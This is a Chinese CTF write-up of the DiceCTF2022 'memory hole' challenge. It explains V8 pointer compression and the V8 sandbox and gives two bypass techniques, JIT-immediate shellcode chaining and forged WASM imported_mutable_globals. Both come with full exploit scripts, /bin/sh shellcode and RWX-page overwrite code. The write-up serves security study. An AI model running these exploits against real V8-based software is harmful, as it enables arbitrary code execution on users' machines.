V8 沙盒绕过

本文首发于跳跳糖 https://tttang.com/archive/1443/

V8 沙箱绕过

这是 DiceCTF2022 的一道题 memory hole。

题目给了我们修改任意 array 的 length 的能力,按过往的经验,接下来很简单,就是构造任意地址读写原语,构造 WASM 实例,读 RWX 空间地址,写 shellcode ,调 WASM 函数,结束。

但题目开启了 V8 沙箱,一个新的安全机制,直接阻止了我们构造任意地址读写,能访问的范围是 array 基址后连续的 4G 地址空间。

绕过这个沙箱是本题的重点,看了两篇wp有所收获,所以整理了下绕过手法,未来可能会用到。

【题目地址】 https://github.com/Jayl1n/CTF-Writeup/blob/master/DiceCTF2022/memory-hole/1984.tar.gz

指针压缩

64 位 V8 中使用了“指针压缩”的技术,即将 64 位指针转为 js_base + offset 的形式,只在内存当中存储 offset ,寄存器 $14 存储 js_base ,其中 offset 是 32 位的。JS 对象在解引用时,会从 $r14 + offset 的地址加载。因此 js_base + offset 被限制在很小的一个区域,无法访问任意地址。

如下,没有开启“指针压缩”的 ArrayBuffer 内存布局:

Untitled

开启后:

Untitled

绕过“指针压缩”的方法很简单,因为“指针压缩”只对堆上指针使用,堆外指针不会压缩。ArrayBufferBackingStore 是个堆外指针,可以直接修改 BackingStore 为任意地址进而实现任意地址读写。

V8 沙箱

V8 沙箱扩展“指针压缩”将 V8 堆上的所有原始指针都 “沙盒化”,比如 WebAssemblyRWX 页指针和 ArrayBufferBackingStore 指针。将这些外部指针都转为表的索引,以基址+偏移的方式访问,限制指针能访问的范围,防止攻击者利用 V8 漏洞实现内存任意地址读写。

V8 Sandbox - High-Level Design Doc

如下,未开启 V8 沙箱时的 ArrayBuffer 对象内存布局:

Untitled

开启沙箱后,BackingStore 替换为 0x45c00000000(偏移量 0x45c00,向左移动 24 位保证最高位为 0)。

Untitled

此时假设攻击者能从多个线程中任意破坏沙箱内的内存,现在需要一个额外的漏洞破坏沙箱外部的内存,从而执行任意代码。

绕过

方法一:利用立即数写 shellcode

(参考 https://mem2019.github.io/jekyll/update/2022/02/06/DiceCTF-Memory-Hole.html

JSFunction

先 DebugPrint 一个 JSFunction 的内存结构:

Untitled

这里有一个 code 字段,它指向了函数要执行的汇编指令,处于 r-x 页。

Untitled

Untitled

用 gdb 修改 code 字段 0x41414141

Untitled

继续执行,出现异常,此时 rcx0x2a0c41414141 ,即基址(0x2a0c00000000)+偏移(0x41414141)。

Untitled

看这段汇编,如果我们令[rcx + 0x1b] & 0x20000000 = 0rip 就会在之后被设置为 rcx+0x3f ,从而劫持 rip ,这个条件是比较容易满足的。

Untitled

使用立即数构造 shellcode

JS 函数的 JIT 代码存储在堆内,即基址开头的 32 位区域,如下,基址都是 0x350f00000000

Untitled

这个函数返回的是一个浮点数组,在汇编里,每个浮点数以立即数的形式存在,立即数占 8 个字节。

Untitled

立即数同样可以被识别为汇编指令,很容易想到可以利用这个立即数来布置 shellcode,只要将 shellcode 片段用 jmp 连接起来,就能将一个个立即数串联起来,实现完整的功能。

jmp 短跳需要 2 个字节,剩下 6 个字节可以自由发挥。

参考原作的脚本生成 shellcode,再将输出转为 IEEE 浮点表示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

context(arch='amd64')
jmp = b'\xeb\x0c'
shell = u64(b'/bin/sh\x00')

def make_double(code):
assert len(code) <= 6
print(hex(u64(code.ljust(6, b'\x90') + jmp))[2:])

make_double(asm("push %d; pop rax" % (shell >> 0x20)))
make_double(asm("push %d; pop rdx" % (shell % 0x100000000)))
make_double(asm("shl rax, 0x20; xor esi, esi"))
make_double(asm("add rax, rdx; xor edx, edx; push rax"))
code = asm("mov rdi, rsp; push 59; pop rax; syscall")
assert len(code) <= 8
print(hex(u64(code.ljust(8, b'\x90')))[2:])

"""
Output:
ceb580068732f68
ceb5a6e69622f68
cebf63120e0c148
ceb50d231d00148
50f583b6ae78948

IEEE:
1.95538254221075331056310651818E-246
1.95606125582421466942709801013E-246
1.99957147195425773436923756715E-246
1.95337673326740932133292175341E-246
2.63486047652296056448306022844E-284
"""

生成出来的 shellcode 是通过系统调用执行 /bin/sh

跟一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
gef➤  job 0x3de400045681
0x3de400045681: [Code]
- map: 0x3de40800263d <Map>
- code_data_container: 0x3de4081d360d <Other heap object (CODE_DATA_CONTAINER_TYPE)>
kind = TURBOFAN
stack_slots = 6
compiler = turbofan
address = 0x3de400045681

Instructions (size = 388)
0x3de4000456c0 0 8b59d0 movl rbx,[rcx-0x30]
...
0x3de400045735 75 c5fb114107 vmovsd [rcx+0x7],xmm0
0x3de40004573a 7a 49ba682f73680058eb0c REX.W movq r10,0xceb580068732f68
0x3de400045744 84 c4c1f96ec2 vmovq xmm0,r10
0x3de400045749 89 c5fb11410f vmovsd [rcx+0xf],xmm0
0x3de40004574e 8e 49ba682f62696e5aeb0c REX.W movq r10,0xceb5a6e69622f68
0x3de400045758 98 c4c1f96ec2 vmovq xmm0,r10
0x3de40004575d 9d c5fb114117 vmovsd [rcx+0x17],xmm0
0x3de400045762 a2 49ba48c1e02031f6eb0c REX.W movq r10,0xcebf63120e0c148
0x3de40004576c ac c4c1f96ec2 vmovq xmm0,r10
0x3de400045771 b1 c5fb11411f vmovsd [rcx+0x1f],xmm0
0x3de400045776 b6 49ba4801d031d250eb0c REX.W movq r10,0xceb50d231d00148
0x3de400045780 c0 c4c1f96ec2 vmovq xmm0,r10
0x3de400045785 c5 c5fb114127 vmovsd [rcx+0x27],xmm0
0x3de40004578a ca 49ba4889e76a3b580f05 REX.W movq r10,0x50f583b6ae78948
...

以指令格式查看这几个立即数,可以看到这几个立即数是通过 jmp 串联起来了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
gef➤  x/3i 0x3de40004573c
0x3de40004573c: push 0x68732f
0x3de400045741: pop rax
0x3de400045742: jmp 0x3de400045750
gef➤ x/3i 0x3de400045750
0x3de400045750: push 0x6e69622f
0x3de400045755: pop rdx
0x3de400045756: jmp 0x3de400045764
gef➤ x/3i 0x3de400045764
0x3de400045764: shl rax,0x20
0x3de400045768: xor esi,esi
0x3de40004576a: jmp 0x3de400045778
gef➤ x/4i 0x3de400045778
0x3de400045778: add rax,rdx
0x3de40004577b: xor edx,edx
0x3de40004577d: push rax
0x3de40004577e: jmp 0x3de40004578c
gef➤ x/4i 0x3de40004578C
0x3de40004578c: mov rdi,rsp
0x3de40004578f: push 0x3b
0x3de400045791: pop rax
0x3de400045792: syscall

执行

接下来就是劫持 rip

修改 JSFunction 对象的 code 字段,令 code + 0x3f = 0x3de40004573c

code 的计算方式 0x3de400045681 + (0x3de40004573c - 0x3f - 0x3de400045681) = 0x3de400045681 + 0x7c ,即原 code 值加 0x7c ,具体各位自行体会,原作的 jitAddr + 0xb3 - 0x3f 的计算在我这跑不起来,差了 8 个字节,不知道是不是环境问题。

Untitled

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
function dp(x) {}// %DebugPrint(x);}
const print = () => {};
const assert = function (b, msg)
{
if (!b)
throw Error(msg);
};
const __buf8 = new ArrayBuffer(8);
const __dvCvt = new DataView(__buf8);
function d2u(val)
{ //double ==> Uint64
__dvCvt.setFloat64(0, val, true);
return __dvCvt.getUint32(0, true) +
__dvCvt.getUint32(4, true) * 0x100000000;
}
function u2d(val)
{ //Uint64 ==> double
const tmp0 = val % 0x100000000;
__dvCvt.setUint32(0, tmp0, true);
__dvCvt.setUint32(4, (val - tmp0) / 0x100000000, true);
return __dvCvt.getFloat64(0, true);
}
function d22u(val)
{ //double ==> 2 * Uint32
__dvCvt.setFloat64(0, val, true);
}
const hex = (x) => ("0x" + x.toString(16));

/*
One weird thing is that as long as a function contains floating const,
allocated array object cannot reach the function object by OOB;
therefore, we use TypedArray arbitrary R/W in sbx to rewrite its field.
*/
const foo = ()=>
{
return [
1.0,
1.95538254221075331056310651818E-246,
1.95606125582421466942709801013E-246,
1.99957147195425773436923756715E-246,
1.95337673326740932133292175341E-246,
2.63486047652296056448306022844E-284];
}
for (let i = 0; i < 0x10000; i++) {
foo();foo();foo();foo();
}

const f = () => 123;
const arr = [1.1];
const o = {x:0x1337, a:foo, b:f}; // x makes a and b double align
const ua = new Uint32Array(2);

arr.setLength(36);
d22u(arr[3]);
const fooAddr = __dvCvt.getUint32(0, true);
const fAddr = __dvCvt.getUint32(4, true);
print(hex(fAddr));dp(f);
dp(ua);

function readOff(off)
{
arr[35] = u2d((off-7) * 0x100000000);
return ua[0];
}
function writeOff(off, val)
{
arr[35] = u2d((off-7) * 0x100000000);
ua[0] = val;
}
print(hex(fooAddr));dp(foo);
jitAddr = readOff(fooAddr + 0x17);
print('jitAddr');
print(hex(jitAddr));
print('rcx + 0x1b:') // rcx = jitAddr
print(hex(jitAddr + 0x1b));
print(hex(readOff(jitAddr + 0x1b)));
// %SystemBreak();
// writeOff(fAddr + 0x17, jitAddr + 0xb3 - 0x3f);
writeOff(fAddr + 0x17, jitAddr + 0x7c);
print(readOff(fooAddr + 0x17));
dp(foo);
// %SystemBreak();
f();

方法二:利用 WasmInstance 的全局变量

(参考:https://blog.kylebot.net/2022/02/06/DiceCTF-2022-memory-hole/

尽管沙箱几乎把所有指针都压缩了,但依然存在一些64位的原始指针,可以尝试劫持它们来绕过沙箱。

全局变量

WasmInstance 对象的 imported_mutable_globals 存储 WASM 代码中使用的所有全局变量,它并没有被沙箱保护起来。

下面是一个 WasmInstance 对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
DebugPrint: 0x3b17081d2f3d: [WasmInstanceObject] in OldSpace
- map: 0x3b1708206439 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3b1708046975 <Object map = 0x3b1708206c81>
- elements: 0x3b1708002249 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x3b1708048b69 <Module map = 0x3b17082062d1>
- exports_object: 0x3b1708048e85 <Object map = 0x3b1708206d21>
- native_context: 0x3b17081c2c75 <NativeContext[266]>
- imported_mutable_globals_buffers: 0x3b17081d3035 <FixedArray[1]>
- imported_function_refs: 0x3b1708002249 <FixedArray[0]>
- indirect_function_table_refs: 0x3b1708002249 <FixedArray[0]>
- managed_native_allocations: 0x3b1708048e61 <Foreign>
- managed object maps: 0x3b1708002249 <FixedArray[0]>
- feedback vectors: 0x3b1708002249 <FixedArray[0]>
- memory_start: (nil)
- memory_size: 0
- imported_function_targets: 0x560e9be53750
- globals_start: (nil)
- imported_mutable_globals: 0x560e9be53770
- ...

查看内存,imported_mutable_globals 确实还是64位。

1
2
3
4
5
6
7
8
9
10
11
gef➤  x/20xg 0x3b17081d2f3d-1
0x3b17081d2f3c: 0x0800224908206439 0x0800224908002249
0x3b17081d2f4c: 0x0000000008002249 0x0000000000000000
0x3b17081d2f5c: 0x0000000000000000 0x0000560e9bddc640
0x3b17081d2f6c: 0x0000560e9be53750 0x0000000000000000
0x3b17081d2f7c: 0x0000000000000000 0x0000000000000000
0x3b17081d2f8c: 0x0000560e9be53770 0x0000560e9bddc620
0x3b17081d2f9c: 0x0000246bb5adb000 0x0000560e9bde8a48
0x3b17081d2fac: 0x0000560e9bde8a40 0x0000560e9bde8a60
0x3b17081d2fbc: 0x0000560e9bde8a58 0x0000560e9bddc630
0x3b17081d2fcc: 0x0000560e9be53790 0x0000560e9be537b0

使用全局变量

1
2
3
4
var global = new WebAssembly.Global({value:'i64', mutable:true}, 0n);
var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 12, 3, 96, 0, 1, 126, 96, 0, 0, 96, 1, 126, 0, 2, 14, 1, 2, 106, 115, 6, 103, 108, 111, 98, 97, 108, 3, 126, 1, 3, 4, 3, 0, 1, 2, 7, 37, 3, 9, 103, 101, 116, 71, 108, 111, 98, 97, 108, 0, 0, 9, 105, 110, 99, 71, 108, 111, 98, 97, 108, 0, 1, 9, 115, 101, 116, 71, 108, 111, 98, 97, 108, 0, 2, 10, 23, 3, 4, 0, 35, 0, 11, 9, 0, 35, 0, 66, 1, 124, 36, 0, 11, 6, 0, 32, 0, 36, 0, 11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod, {js: {global}});

以上可以往 imported_mutable_globals 里添加一个 int64 的全局变量 。

注意global 这个变量是在当前堆上分配的,利用漏洞是可以修改这个对象的属性。

DebugPrint 一下这个 global

1
2
3
4
5
6
7
8
DebugPrint: 0xc7908048d0d: [WasmGlobalObject]
- map: 0x0c7908206821 <Map(HOLEY_ELEMENTS)>
- untagged_buffer: 0x0c7908048d31 <ArrayBuffer map = 0xc7908203289>
- offset: 0
- raw_type: 2
- is_mutable: 1
- type: i64
- is_mutable: 1

untagged_buffer 是一个 ArrayBuffer,backing_store0x3b1800002000 ,也就是 global 存储数据的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gef➤  job 0x3b1708048d31
0x3b1708048d31: [JSArrayBuffer]
- map: 0x3b1708203289 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3b17081c99e9 <Object map = 0x3b17082032b1>
- elements: 0x3b1708002249 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x3b1800002000
- byte_length: 8
- max_byte_length: 8
- detachable
- properties: 0x3b1708002249 <FixedArray[0]>
- All own properties (excluding elements): {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}

回过头看上面 wasm_instanceimported_mutable_globals

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
DebugPrint: 0x3b17081d2f3d: [WasmInstanceObject] in OldSpace
- map: 0x3b1708206439 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3b1708046975 <Object map = 0x3b1708206c81>
- elements: 0x3b1708002249 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x3b1708048b69 <Module map = 0x3b17082062d1>
- exports_object: 0x3b1708048e85 <Object map = 0x3b1708206d21>
- native_context: 0x3b17081c2c75 <NativeContext[266]>
- imported_mutable_globals_buffers: 0x3b17081d3035 <FixedArray[1]>
- imported_function_refs: 0x3b1708002249 <FixedArray[0]>
- indirect_function_table_refs: 0x3b1708002249 <FixedArray[0]>
- managed_native_allocations: 0x3b1708048e61 <Foreign>
- managed object maps: 0x3b1708002249 <FixedArray[0]>
- feedback vectors: 0x3b1708002249 <FixedArray[0]>
- memory_start: (nil)
- memory_size: 0
- imported_function_targets: 0x560e9be53750
- globals_start: (nil)
- imported_mutable_globals: 0x560e9be53770
- ...

这里的第一个元素即是 globalbacking_store 地址

1
2
3
4
5
6
gef➤  x/10xg 0x560e9be53770
0x560e9be53770: 0x00003b1800002000 0x00007fcdcb1bdca0
0x560e9be53780: 0x0000000000000000 0x0000000000000021
0x560e9be53790: 0x00007fcdcb1bdca0 0x00007fcdcb1bdca0
0x560e9be537a0: 0x0000000000000000 0x0000000000000021
0x560e9be537b0: 0x00007fcdcb1bdca0 0x00007fcdcb1bdca0

我们伪造一个 imported_mutable_globals 替换掉 wasm_instanceimported_mutable_globals ,即可做到任意地址读写。

伪造 imported_mutable_globals

imported_mutable_globals 并不是一个 JS 对象,不用泄漏 map ,伪造起来比较容易。

创建一个 array ,第一个元素是要读写的任意地址。

再泄漏这个 array 的偏移及基址 js_base 计算得到完整的 array 地址,覆盖掉用来的 imported_mutable_globals

泄漏 array 的偏移按常规的路子来就行,泄漏 js_base 见下一节。

一切搞好后,要读写任意地址,改 array[0] 即可。

获取基址 js_base

泄漏基址 js_base 并不难,多次运行 d8 ,搜索下基址:

第一次

1
2
3
4
5
6
7
8
gef➤  search-pattern 0x1c53
[+] Searching '\x53\x1c' in memory
[+] In (0x1c5300000000-0x1c5300003000), permission=rw-
0x1c530000001c - 0x1c5300000024 → "\x53\x1c[...]"
0x1c5300000024 - 0x1c530000002c → "\x53\x1c[...]"
0x1c5300000054 - 0x1c530000005c → "\x53\x1c[...]"
0x1c53000000f4 - 0x1c53000000fc → "\x53\x1c[...]"
...

第二次

1
2
3
4
5
6
7
8
gef➤  search-pattern 0x00002c3b
[+] Searching '\x3b\x2c\x00\x00' in memory
[+] In (0x2c3b00000000-0x2c3b00003000), permission=rw-
0x2c3b0000001c - 0x2c3b0000001e → ";,"
0x2c3b00000024 - 0x2c3b00000026 → ";,"
0x2c3b00000054 - 0x2c3b00000056 → ";,"
0x2c3b000000f4 - 0x2c3b000000f6 → ";,"
...

第三次

1
2
3
4
5
6
7
8
gef➤  search-pattern 0x3f13
[+] Searching '\x13\x3f' in memory
[+] In (0x3f1300000000-0x3f1300003000), permission=rw-
0x3f130000001c - 0x3f1300000024 → "\x13\x3f[...]"
0x3f1300000024 - 0x3f130000002c → "\x13\x3f[...]"
0x3f1300000054 - 0x3f130000005c → "\x13\x3f[...]"
0x3f13000000f4 - 0x3f13000000fc → "\x13\x3f[...]"
...

可以看到,在 [js_base , js_base+0x3000] 的区间就有一些64位的原始指针,如果能读到,就可以泄漏出基址。

具体的方法,构造一个 BigInt64Array 修改 external_pointer ,以及 byte_length ,让 BigInt64Array 能从 js_base 开始访问。

这里由于沙箱,data_ptr 的计算方式改为 js_base + base_pointer + (external_pointer << 2) ,需要注意 external_pointer 变为了偏移,如下图的 0x1000000

Untitled

修改 external_pointerbase_pointer0BigIng64Array 就会从 js_base 开始访问了。

修改全局变量

参考 mdm 提供的 demo https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/global.wat ,添加修改 global 变量的函数。

1
2
3
4
5
6
7
8
(module
(global $g (import "js" "global") (mut i64))
(func (export "getGlobal") (result i64)
(global.get $g))
(func (export "setGlobal") (param i64)
(global.set $g
(get_local 0)))
)

用 wat2wasm https://webassembly.github.io/wabt/demo/wat2wasm/ 编译后,提取二进制格式的输出。

现在可以使用 WASM 修改全局变量了:

1
2
3
4
5
6
7
8
9
10
11
var wasm_code = new Uint8Array([0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x09,0x02,0x60,0x00,0x01,0x7e,0x60,0x01,0x7e,0x00,0x02,0x0e,0x01,0x02,0x6a,0x73,0x06,0x67,0x6c,0x6f,0x62,0x61,0x6c,0x03,0x7e,0x01,0x03,0x03,0x02,0x00,0x01,0x07,0x19,0x02,0x09,0x67,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x00,0x09,0x73,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x01,0x0a,0x0d,0x02,0x04,0x00,0x23,0x00,0x0b,0x06,0x00,0x20,0x00,0x24,0x00,0x0b,0x00,0x14,0x04,0x6e,0x61,0x6d,0x65,0x02,0x07,0x02,0x00,0x00,0x01,0x01,0x00,0x00,0x07,0x04,0x01,0x00,0x01,0x67])
var wasm_mod = new WebAssembly.Module(wasm_code);

const global = new WebAssembly.Global({value:'i64', mutable:true}, 0n);
var wasm_instance = new WebAssembly.Instance(wasm_mod, {js:{global}});

var getGlobal= wasm_instance.exports.getGlobal;
var setGlobal= wasm_instance.exports.setGlobal;

setGlobal(0x10000n);
console.log(getGlobal()); // 65535

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
function dp(x) {} 
// function dp(x) {%DebugPrint(x);} // const print = console.log;
const print = (x) =>{console.log(x)};
class Helpers {
constructor() {
this.cvt_buf = new ArrayBuffer(8);
this.cvt_f64a = new Float64Array(this.cvt_buf);
this.cvt_u64a = new BigUint64Array(this.cvt_buf);
this.cvt_u32a = new Uint32Array(this.cvt_buf);
}

ftoi(f) {
this.cvt_f64a[0] = f;
return this.cvt_u64a[0];
}

itof(i) {
this.cvt_u64a[0] = i;
return this.cvt_f64a[0];
}

ftoil(f) {
this.cvt_f64a[0] = f;
return this.cvt_u32a[0];
}

ftoih(f) {
this.cvt_f64a[0] = f;
return this.cvt_u32a[1];
}

fsetil(f, l) {
this.cvt_f64a[0] = f;
this.cvt_u32a[0] = l;
return this.cvt_f64a[0];
}

fsetih(f, h) {
this.cvt_f64a[0] = f;
this.cvt_u32a[1] = h;
return this.cvt_f64a[0];
}

isetltof(i, l) {
this.cvt_u64a[0] = i;
this.cvt_u32a[0] = l;
return this.cvt_f64a[0];
}

isethtof(i, h) {
this.cvt_u64a[0] = i;
this.cvt_u32a[1] = h;
return this.cvt_f64a[0];
}

isetlhtof(l,h){
this.cvt_u32a[0] = l;
this.cvt_u32a[1] = h;
return this.cvt_f64a[0];
}

isetltoi(i,l){
this.cvt_u32a[0] = l;
return this.cvt_u64a[0];
}

isethtoi(i,h){
this.cvt_u32a[1] = h;
return this.cvt_u64a[0];
}

isetlhtoi(l,h){
this.cvt_u32a[0] = l;
this.cvt_u32a[1] = h;
return this.cvt_u64a[0];
}

igetl(i) {
this.cvt_u64a[0] = i;
return this.cvt_u32a[0];
}

igeth(i) {
this.cvt_u64a[0] = i;
return this.cvt_u32a[1];
}

gc() {
for (let i = 0; i < 100; i++) {
new ArrayBuffer(0x1000000);
}
}
printhex(s, val) {
//%DebugPrint(s + " 0x" + val.toString(16));
console.log(s + " 0x" + val.toString(16));
//document.write(s +' ' + val.toString(16) + " </br>");
//alert(s + " 0x" + val.toString(16));
}
};

var helper = new Helpers();

var oob_arr = [1.1, 2.2, 3.3];
var buf = new ArrayBuffer(0x100);
var i64arr= new BigUint64Array(buf);

var fake_imported_mutable_globals_arr = [0x1337133713371337];
var leaker = { 'x':fake_imported_mutable_globals_arr};

var wasm_code = new Uint8Array([0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x09,0x02,0x60,0x00,0x01,0x7e,0x60,0x01,0x7e,0x00,0x02,0x0e,0x01,0x02,0x6a,0x73,0x06,0x67,0x6c,0x6f,0x62,0x61,0x6c,0x03,0x7e,0x01,0x03,0x03,0x02,0x00,0x01,0x07,0x19,0x02,0x09,0x67,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x00,0x09,0x73,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x01,0x0a,0x0d,0x02,0x04,0x00,0x23,0x00,0x0b,0x06,0x00,0x20,0x00,0x24,0x00,0x0b,0x00,0x14,0x04,0x6e,0x61,0x6d,0x65,0x02,0x07,0x02,0x00,0x00,0x01,0x01,0x00,0x00,0x07,0x04,0x01,0x00,0x01,0x67])
var wasm_mod = new WebAssembly.Module(wasm_code);
const global = new WebAssembly.Global({value:'i64', mutable:true}, 0n);
var wasm_instance = new WebAssembly.Instance(wasm_mod, {js:{global}});

var getGlobal= wasm_instance.exports.getGlobal;
var setGlobal= wasm_instance.exports.setGlobal;

function arbWrite(addr,val){
oob_arr[0x17] = helper.itof(addr);
setGlobal(BigInt.asUintN(64,BigInt(val)));
}

function arbRead(addr){
oob_arr[0x17] = helper.itof(addr);
return BigInt.asUintN(64, getGlobal());
}

function addrOf(obj){
leaker['x'] = obj;
return BigInt.asUintN(64,js_base + BigInt(helper.ftoih(oob_arr[0x1b])));
}

oob_arr.setLength(0x10000000/8);
dp(oob_arr);
dp(fake_imported_mutable_globals_arr);
dp(leaker);
// %DebugPrint(i64arr);
// %SystemBreak();

oob_arr[0x11] = helper.isethtof(helper.ftoi(oob_arr[0x11]),0x10000000); // length
oob_arr[0x13] = helper.itof(0n); // external_pointer
// %DebugPrint(i64arr);
// %SystemBreak();

// leak js_base
var js_base = 0n;
if( (i64arr[3] >> 32n ) == (i64arr[4] >> 32n)) {
js_base = BigInt.asUintN(64,i64arr[3]) & 0xffff00000000n;
}
helper.printhex('js_base @', js_base);

fake_imported_mutable_globals_arr_addr = addrOf(fake_imported_mutable_globals_arr);
fake_imported_mutable_globals_addr = fake_imported_mutable_globals_arr_addr - 0x9n;

// %SystemBreak();

oob_arr_addr = addrOf(oob_arr);
wasm_inst_addr = addrOf(wasm_instance);

imported_mutable_globals_offset = (wasm_inst_addr - js_base + 0x50n -1n ) / 8n;

dp(wasm_instance);
// %SystemBreak();

helper.printhex('fake_obj_addr @', fake_imported_mutable_globals_addr);
helper.printhex('oob_arr_addr @', oob_arr_addr);
helper.printhex('wasm_instance_addr @', wasm_inst_addr);
helper.printhex('wasm_instance.imported_mutable_globals_offset ', imported_mutable_globals_offset);

// i64arr[imported_mutable_globals_offset] = helper.isethtoi(i64arr[imported_mutable_globals_offset] , Number(fake_imported_mutable_globals_addr & 0xffffffffn));
// i64arr[imported_mutable_globals_offset + 1n] = helper.isetltoi(i64arr[imported_mutable_globals_offset + 1n], Number(fake_imported_mutable_globals_addr >> 32n));
helper.printhex('i64arr[globals_offset] @', i64arr[imported_mutable_globals_offset]);
i64arr[imported_mutable_globals_offset] = fake_imported_mutable_globals_addr;

dp(wasm_instance);
// %SystemBreak();

var wasm_code2= new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127,
3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0,
5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145,
128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97,
105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0,
65, 42, 11,
]);

var wasm_mod2 = new WebAssembly.Module(wasm_code2);
var wasm_instance2 = new WebAssembly.Instance(wasm_mod2);
var f = wasm_instance2.exports.main;

wasm_instance2_addr = addrOf(wasm_instance2);

wasm_instance2_rwx_page_addr = wasm_instance2_addr + 0x60n - 1n;
helper.printhex('rwx page addr @', wasm_instance2_rwx_page_addr);
// %SystemBreak();
wasm_instance2_rwx_page = arbRead(wasm_instance2_rwx_page_addr);
helper.printhex('rwx page @', wasm_instance2_rwx_page);

shellcode = [0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068, 0x2d68e789, 0x48000063, 0xe852e689, 0x00000008,
0x6e69622f, 0x0068732f, 0x89485756, 0x00050fe6];

for(let i=0; i<shellcode.length; i=i+2){
arbWrite(wasm_instance2_rwx_page +(BigInt(i) * 4n),helper.isetlhtoi(shellcode[i],shellcode[i+1]));
}

// dp(wasm_instance2);
// %SystemBreak();

f();

Untitled

参考

文章目录
  1. 1. V8 沙箱绕过
  2. 2. 指针压缩
  3. 3. V8 沙箱
  4. 4. 绕过
    1. 4.1. 方法一:利用立即数写 shellcode
      1. 4.1.1. JSFunction
      2. 4.1.2. 使用立即数构造 shellcode
      3. 4.1.3. 执行
      4. 4.1.4. EXP
    2. 4.2. 方法二:利用 WasmInstance 的全局变量
      1. 4.2.1. 全局变量
      2. 4.2.2. 使用全局变量
      3. 4.2.3. 伪造 imported_mutable_globals
      4. 4.2.4. 获取基址 js_base
      5. 4.2.5. 修改全局变量
      6. 4.2.6. EXP
  5. 5. 参考
|